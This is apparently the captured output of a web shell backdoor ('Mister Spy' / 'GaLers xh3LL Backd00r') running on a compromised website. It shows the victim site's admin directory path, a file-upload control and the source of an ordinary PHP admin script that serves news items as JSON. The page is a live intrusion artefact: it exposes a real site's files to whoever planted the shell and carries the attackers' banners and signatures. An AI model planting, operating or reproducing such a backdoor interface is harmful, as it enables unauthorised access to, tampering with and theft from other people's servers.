Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/json-noticias.php

<?php 
error_reporting(E_ERROR | E_PARSE);
require_once('../library/class.noticias.php'); 
require_once('../library/class.categorias.php'); 

/* obtenemos datos enviados */
$filter = array();
$filter['Titulo']			= trim($_REQUEST['Titulo']);
$filter['IdCategoria']		= intval($_REQUEST['IdCategoria']);
$filter['Destacado']		= strval($_REQUEST['Destacado']);
$filter['Fijo']				= strval($_REQUEST['Fijo']);
$Page 						= intval($_REQUEST['pageIndex']);
$PageSize					= intval($_REQUEST['pageSize']);

/* declaramos e instanciamos variables necesarias */
$arrData 		= array();
$oNoticias 		= new Noticias();
$oCategorias 	= new Categorias();
$oPage 			= new Page($Page, $PageSize);

$arrData = $oNoticias->GetAll($filter, $oPage, false, false);
$count = $oNoticias->GetCountRows($filter);

if ($arrData)
{
	foreach ($arrData as $oNoticia)
	{
		$oNoticia->Nombre = ($oNoticia->Titulo);
		$oNoticia->Titulo = ($oNoticia->Titulo);
		$oNoticia->Categoria	= $oCategorias->GetById($oNoticia->IdCategoria);
	
		$oNoticia->Categoria->Nombre = utf8_encode($oNoticia->Categoria->Nombre);
		if ($oNoticia->Imagen)
			$oNoticia->Imagen = Noticia::PathImageBig . $oNoticia->Imagen;
		for ($i = 0; $i < count($oNoticia->Imagenes); $i++)
		{
			$oNoticia->Imagenes[$i]->Imagen = Noticia::PathImageBig . $oNoticia->Imagenes[$i]->Imagen;
		}
	}
}

$arrResult = array("data" => $arrData, "itemsCount" => $count);

header('Content-type: application/json');
echo json_encode($arrResult);

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat